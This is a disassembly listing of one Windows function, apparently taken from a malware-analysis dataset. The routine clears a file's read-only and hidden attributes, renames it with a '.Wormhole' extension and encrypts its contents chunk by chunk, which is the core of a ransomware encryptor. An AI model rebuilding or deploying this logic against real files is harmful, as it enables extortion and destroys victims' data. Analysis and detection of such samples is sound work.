Function at 0x44b990
Capabilities:
Check if file exists
Get file attributes
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57bef6
mov eax, dword fs:[0]
push eax
sub esp, 0x1c8
mov eax, dword [0x5fbea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c0], edx
mov dword [ebp - 0x1c4], ecx
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.0044b780
test al, al
jne 0x44ba16
cmp dword [esi + 0x14], 0x10
jb 0x44b9e2
mov eax, dword [esi]
jmp 0x44b9e4
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44ba1d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_getting_file_attributes:
push 0x4520d0
call fcn.00451e90
mov edx, esi
mov ecx, eax
call fcn.00452100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor al, al
jmp 0x44bf24
test al, 3
je 0x44ba69
cmp dword [esi + 0x14], 0x10
jb 0x44ba2b
mov ecx, dword [esi]
jmp 0x44ba2d
mov ecx, esi
and eax, 0xfffffffc
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x44ba69
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_setting_file_attributes_to_remove_readonly_and_hidden:
push 0x4520d0
call fcn.00451e90
mov edx, esi
mov ecx, eax
call fcn.00452100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor al, al
jmp 0x44bf24
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push 0x1000
lea ecx, [ebp - 0x38]
movq qword [ebp - 0x38], xmm0
call fcn.0044fc20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
push 0x1010
movq qword [ebp - 0x2c], xmm0
call fcn.0044fc20
push str..Wormhole
mov edx, esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x50]
call fcn.00452330
add esp, 4
mov byte [ebp - 4], 2
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae eax, dword [ebp - 0x50]
cmp dword [esi + 0x14], 0x10
jb 0x44bad5
mov esi, dword [esi]
push eax
push esi
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov esi, dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x44bb0b
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_renaming_file.
push 0x4520d0
call fcn.00451e90
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor bl, bl
jmp 0x44be80
push 0xb8
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x108]
push 0x21
push eax
call fcn.00450520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 0x108]
xorps xmm0, xmm0
mov word [ebp - 0x1c8], 1
push dword [ebp - 0x1c8]
movq qword [ebp - 0x20], xmm0
mov eax, dword [eax + 4]
push 0
mov dword [ebp - 0x18], 0
mov eax, dword [ebp + eax - 0xd0]
test eax, eax
sete byte [ebp - 0x1d0]
push dword [ebp - 0x1d0]
push eax
call fcn.00452410
mov byte [ebp - 4], 4
lea edi, [ebp - 0xf8]
cmp dword [ebp - 0xac], 0
jne 0x44bb95
xor edi, edi
jmp 0x44bbbd
lea ecx, [ebp - 0xf8]
call fcn.00451820
push dword [ebp - 0xac]
xor ecx, ecx
test al, al
cmove edi, ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor ecx, ecx
add esp, 4
test eax, eax
cmovne edi, ecx
lea ecx, [ebp - 0xf8]
mov byte [ebp - 0xb0], 0
mov byte [ebp - 0xbb], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x5fd6b0]
mov dword [ebp - 0xb8], eax
mov eax, dword [0x5fd6b4]
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xc0], 0
test edi, edi
jne 0x44bc1f
mov eax, dword [ebp - 0x108]
lea ecx, [ebp - 0x108]
push edi
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 0xb0
lea eax, [ebp - 0x1b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x1b8]
push 0x32
push eax
call fcn.00450350
mov byte [ebp - 4], 5
cmp dword [ebp - 0x168], 0
mov ebx, dword [ebp - 0x20]
jne 0x44bc5d
mov edx, str.Error_opening_file.
jmp 0x44bc73
call fcn.00453560
mov edi, eax
mov dword [ebp - 0x1c8], edi
test edi, edi
jne 0x44bc98
mov edx, str.Error_creating_cipher_context.
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x4520d0
call fcn.00451e90
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor al, al
mov byte [ebp - 0x1b9], al
jmp 0x44be00
mov ecx, dword [ebp - 0x1c0]
cmp dword [ecx + 0x14], 0x10
jb 0x44bca6
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x1c4]
cmp dword [eax + 0x14], 0x10
jb 0x44bcb4
mov eax, dword [eax]
push ecx
push eax
push 0
call fcn.0045ff10
push eax
push edi
call fcn.00454490
add esp, 0x14
test eax, eax
jne 0x44bcd5
mov edx, str.Error_initializing_encryption.
jmp 0x44bd72
mov eax, dword [ebp - 0x1c]
xor edi, edi
sub eax, ebx
mov dword [ebp - 0x1c4], eax
je 0x44bd55
mov ecx, eax
mov dword [ebp - 0x1c0], eax
mov edx, 0x1000
sub eax, edi
cmp eax, 0x1000
lea eax, [ebx + edi]
cmova ecx, edx
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 0x1c8]
call fcn.004544f0
add esp, 0x14
test eax, eax
je 0x44bd9d
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1b8]
cdq
push edx
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov ecx, dword [ebp - 0x1c0]
add edi, 0x1000
mov eax, dword [ebp - 0x1c4]
sub ecx, 0x1000
mov dword [ebp - 0x1c0], ecx
mov edx, 0x1000
cmp edi, eax
jb 0x44bcf1
mov edi, dword [ebp - 0x1c8]
lea eax, [ebp - 0x14]
push eax
push esi
push edi
call fcn.00454230
add esp, 0xc
test eax, eax
jne 0x44bdd2
mov edx, str.Error_finalizing_encryption.
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x4520d0
call fcn.00451e90
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push edi
call fcn.00453500
add esp, 4
xor al, al
mov byte [ebp - 0x1b9], al
jmp 0x44be00
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_encrypting_file.
push 0x4520d0
call fcn.00451e90
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x1c8]
call fcn.00453500
add esp, 4
xor al, al
mov byte [ebp - 0x1b9], al
jmp 0x44be00
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1b8]
cdq
push edx
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
push edi
call fcn.00453500
add esp, 4
lea ecx, [ebp - 0x1b8]
call fcn.00450220
mov byte [ebp - 0x1b9], 1
lea ecx, [ebp - 0x150]
call fcn.004502a0
lea ecx, [ebp - 0x150]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
test ebx, ebx
je 0x44be63
mov eax, dword [ebp - 0x18]
sub eax, ebx
cmp eax, 0x1000
jb 0x44be5a
test byte [ebp - 0x20], 0x1f
je 0x44be33
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, dword [ebx - 4]
cmp eax, ebx
jb 0x44be40
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub ebx, eax
cmp ebx, 4
jae 0x44be4d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp ebx, 0x23
jbe 0x44be58
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ebx, eax
push ebx
call fcn.0057a868
add esp, 4
lea ecx, [ebp - 0x98]
call fcn.00450470
lea ecx, [ebp - 0x98]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov bl, byte [ebp - 0x1b9]
lea ecx, [ebp - 0x50]
call fcn.0044fff0
test esi, esi
je 0x44bed4
mov eax, dword [ebp - 0x24]
sub eax, esi
cmp eax, 0x1000
jb 0x44becb
test byte [ebp - 0x2c], 0x1f
je 0x44bea4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, dword [esi - 4]
cmp eax, esi
jb 0x44beb1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub esi, eax
cmp esi, 4
jae 0x44bebe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp esi, 0x23
jbe 0x44bec9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov esi, eax
push esi
call fcn.0057a868
add esp, 4
mov ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x44bf22
mov eax, dword [ebp - 0x30]
sub eax, ecx
cmp eax, 0x1000
jb 0x44bf19
test cl, 0x1f
je 0x44bef2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x44beff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub ecx, eax
cmp ecx, 4
jae 0x44bf0c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp ecx, 0x23
jbe 0x44bf17
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ecx, eax
push ecx
call fcn.0057a868
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057a738
mov esp, ebp
pop ebp
ret